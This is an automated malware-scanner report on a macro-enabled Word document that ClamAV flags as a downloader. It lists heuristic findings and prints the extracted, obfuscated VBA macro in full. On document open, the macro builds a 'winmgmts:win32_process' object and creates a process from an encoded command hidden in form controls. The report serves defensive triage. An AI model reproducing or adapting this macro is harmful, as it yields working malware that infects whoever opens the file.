MALICIOUS
232
Risk Score
Heuristics 7
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ClamAV: Doc.Downloader.Mrwx-7577330-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Mrwx-7577330-0
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VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set Gnhjpvpnjmt = GetObject(Viyqlwek) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 11742 bytes |
SHA-256: b67968b88399be42e9d37ea5e7219c5e7ea9790d5659ae3dc7a6a5cfe2986712 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
34 of 94 identifiers look randomly generated (e.g. 'Uatqbjnmwcvrp'); 7 string-concatenation chain(s) — consistent with name-mangling obfuscation.
|
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Xroovcay"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Bqqgzcoesq.Kuhikdddu
End Sub
Attribute VB_Name = "Fyonzqil"
Attribute VB_Base = "0{5C610495-3A50-4B2F-9E9C-9CEDD0E9E92A}{1819F0BB-122C-44D3-9601-842FE7F3BA52}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Wgwvqjkyjhx"
Attribute VB_Base = "0{678FC553-6100-46D2-ADB5-85FD7C7BB7B8}{809DA5C2-85A0-412A-8A62-7E837C1712E9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Hazlgugc()
Debug.Print "pox" + x + "iii"
End Sub
Attribute VB_Name = "Iudltfwde"
Attribute VB_Base = "0{9438B2F5-4A6C-4110-A8F7-9EDAB83AB931}{8BF8226E-C08A-41D7-89C9-F353D353E41D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Fxhijzqkoyh()
Debug.Print "pox" + x + "iii"
End Sub
Attribute VB_Name = "Vcrkjftoxana"
Attribute VB_Base = "0{6119789A-E0E0-4AE4-B65D-A7173847615A}{3A5FFEA3-A9BC-4EAD-9C81-2A3929F380E6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Rtmdtlnbcscwv()
Debug.Print "pox" + x + "iii"
End Sub
Attribute VB_Name = "Khacjproluyp"
Attribute VB_Base = "0{D7E080F3-8CEF-405F-BA50-366ED368CDCD}{545ABDF6-2553-46AA-93C7-ED6CE67F3D87}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Xthwbzqbu()
Debug.Print "pox" + x + "iii"
End Sub
Attribute VB_Name = "Htzyhmjdw"
Attribute VB_Base = "0{C77A06BA-A8B4-4EAD-AFBF-43E1D9D682F4}{CFE4D075-DAED-495A-856E-16CBB3BD3288}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Mydiaebiuwlt()
Debug.Print "pox" + x + "iii"
End Sub
Attribute VB_Name = "Uatqbjnmwcvrp"
Attribute VB_Base = "0{99220021-A98B-44F1-8052-EDACE71275C4}{AE468378-1009-4BA9-BB7D-CB2866942891}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Pmfvfgjst()
Debug.Print "pox" + x + "iii"
End Sub
Attribute VB_Name = "Alukvauaml"
Attribute VB_Base = "0{F4C81E7A-4426-4636-ACA5-1F7AAF0D7026}{A22E23A2-CF13-4DDC-835E-A36845489E09}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Udeacbmipxa()
Debug.Print "pox" + x + "iii"
End Sub
Attribute VB_Name = "Bqqgzcoesq"
Function Kuhikdddu()
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Qdngiger = "2^2^73^72^777^82wi2^2^73^72^777^82nm2^2^73^72^777^82g2^2^73^72^777^82mt2^2^73^72^777^82" + ChrW(Fyonzqil.Zoom + 15) + "2^2^73^72^777^82:w2^2^73^72^777^82in2^2^73^72^777^82322^2^73^72^777^82_" + Fyonzqil.Srdmcdfyyek + "r2^2^73^72^777^82oc2^2^73^72^777^82e2^2^73^72^777^82s2^2^73^72^777^82s"
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Viyqlwek = Qrmbrrwpyfrze(Qdngiger)
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Set Gnhjpvpnjmt = GetObject(Viyqlwek)
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Uwtsdcbvmgpjx = Fyonzqil.Bxslyutfuh.Tag
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Hfmrnowi = Viyqlwek + ChrW(Int(wdKeyS)) + Fyonzqil.Qcdruueq.Tag + Uwtsdcbvmgpjx
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Dzykilvxghif = Hfmrnowi + Fyonzqil.Srdmcdfyyek
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Set Radeitqtkvt = Dwppjdtlx(Dzykilvxghif)
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Call Gnhjpvpnjmt. _
Create(dfe + Pshftmaus + ewg, Ntjkhwft, Radeitqtkvt)
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
End Function
Function Dwppjdtlx(Tiyaxsdo)
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Set Dwppjdtlx = GetObject(Tiyaxsdo)
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Dwppjdtlx. _
showwindow = Ortzuowlyf + Ngdggwssa
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
End Function
Function Qrmbrrwpyfrze(Wjuprnxasrvy)
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Qrmbrrwpyfrze = Join(VBA.Split(Wjuprnxasrvy, "2^2^73^72^777^82"), NoLineBreakAfter)
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
End Function
Function Pshftmaus()
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Hbsw = "2^2^73^72^777^82 2^2^73^72^777^82-2^2^73^72^777^82e2^2^73^72^777^82 2^2^73^72^777^82"
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Mbqvhdmqsovn = ChrW(Int(wdKeyP))
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Otniepknl = Mbqvhdmqsovn + Fyonzqil.Uaitiddo.ControlTipText + Hbsw
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
snqiyw = Fyonzqil.Xitdhomlqq.Pages(0).Caption
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
Pshftmaus = Qrmbrrwpyfrze(Otniepknl + StrReverse(snqiyw))
For yERM = 7 To 65
DoEvents
Next yERM
For riid = 8 To 32
DoEvents
Next riid
NyVY = 1
Do While NyVY < 47
DoEvents: NyVY = NyVY + 1
Loop
xVuS = 8
Do While xVuS < 98
DoEvents: xVuS = xVuS + 1
Loop
seBbsnjgKI = "zEVrqXcLYm"
EdjYdpUcXe = 536633
seBbsnjgKI = seBbsnjgKI & CStr(EdjYdpUcXe)
DtFnTlISYm = seBbsnjgKI
End Function
|
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 73216 bytes |
SHA-256: b4c8c23831f398e01aaf23855e5bff87ff94ca410d694a0b3a06d418febe9830 |
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|
Detection
ClamAV:
Doc.Downloader.Mrwx-7577330-0
Obfuscation or payload:
unlikely
|
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Open this report in the interactive analyzer, or submit your own file for analysis.